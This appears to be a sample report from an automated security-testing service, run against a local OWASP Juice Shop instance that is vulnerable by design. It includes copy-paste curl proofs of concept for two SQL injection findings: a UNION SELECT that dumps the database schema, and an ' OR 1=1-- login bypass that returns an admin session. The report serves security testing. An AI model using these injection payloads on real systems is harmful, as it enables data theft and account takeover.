// SAMPLE REPORT · real run · public target (OWASP Juice Shop, vulnerable by design)

What the evidence looks like when it arrives

real run, unchanged — generated from the run artifacts.

This is a real verification run on a target that is public and vulnerable by design. Every finding below fired 2× and every negative control — the same probe with the payload removed — came back clean. That differential is the finding, and each one ships with its PoC as a curl your reviewer can copy, paste, and re-run, plus the raw request and response it produced.

Reproduce this environment

The run attacked a local, throwaway instance of the public target — the image and ports below are the ones declared in the run's own target metadata. Stand it up, then copy, paste and re-run any curl on this page against it:

docker run --rm -p 127.0.0.1:31000:3000 bkimminich/juice-shop@sha256:73c53fbf442e8337b3ea3d98c7e8550308854701ebdfce4cc39768f36b75430e

Findings — 2

curl -s --path-as-is "http://127.0.0.1:31000/rest/products/search?q=zzq%27%29%29%20UNION%20SELECT%209999%20as%20id%2Cname%20as%20description%2Csql%20as%20name%2C1%20as%20price%2C0%20as%20deluxePrice%2C%27i%27%20as%20image%2C%27t%27%20as%20imageThumb%2CNULL%20as%20createdAt%2CNULL%20as%20updatedAt%20FROM%20sqlite_master%20LIMIT%203--%20"

curl -i --path-as-is "http://127.0.0.1:31000/rest/products/search?q=%27%20OR%201%3D1--"

GET http://127.0.0.1:31000/rest/products/search?q=' OR 1=1--

status 500 · content-type: text/html; charset=utf-8

<html>
  <head>
    <meta charset='utf-8'>
    <title>Error: SQLITE_ERROR: incomplete input</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  font: 13px "Helvetica Neue", "Lucida Grande", "Arial";
  background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));
  background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);

… [truncated — 942 chars shown after redaction]

curl -i -X POST -H 'Content-Type: application/json' -d '{"email": "'\'' OR 1=1--", "password": "x"}' --path-as-is "http://127.0.0.1:31000/rest/user/login"

POST http://127.0.0.1:31000/rest/user/login
Content-Type: application/json

{"email": "' OR 1=1--", "password": "x"}

status 200 · content-type: application/json; charset=utf-8

{"authentication":{"token":"[REDACTED-JWT]","bid":1,"umail":"admin@juice-sh.op"}}

Hypothesis ledger — all 11, every verdict visible

Every hypothesis that entered testing is listed with its endpoint, its declared fault signal, how many attempts it consumed and its verdict, with the reason the run recorded for it. Hypothesis IDs are minted per authoring candidate: this run's IDs reach -026 while the ledger holds 11 — candidates that never produced an executable hypothesis are not in the ledger, and every hypothesis that entered testing is listed, nothing dropped.

Attacked, signal did not fire — 5

These were attacked with real PoCs — 48 attempts across up to 3 informed rounds each — and their declared fault signal never fired. Held is a verdict, not a budget cut: each round learns from the previous failures before it gives up.

Methodological note

What also ships

A one-file HTML report exactly like this one (no login), the raw request/response evidence per execution cited by sha256, a one-page attack attestation (PDF) listing what was attacked and held — the declared fault signal did not fire — plus the verdict counts and the run's fingerprint, remediation guidance per finding, and the post-fix retest — one full pass requested within 30 days of delivery (same scope); a contested finding is re-tested until it closes.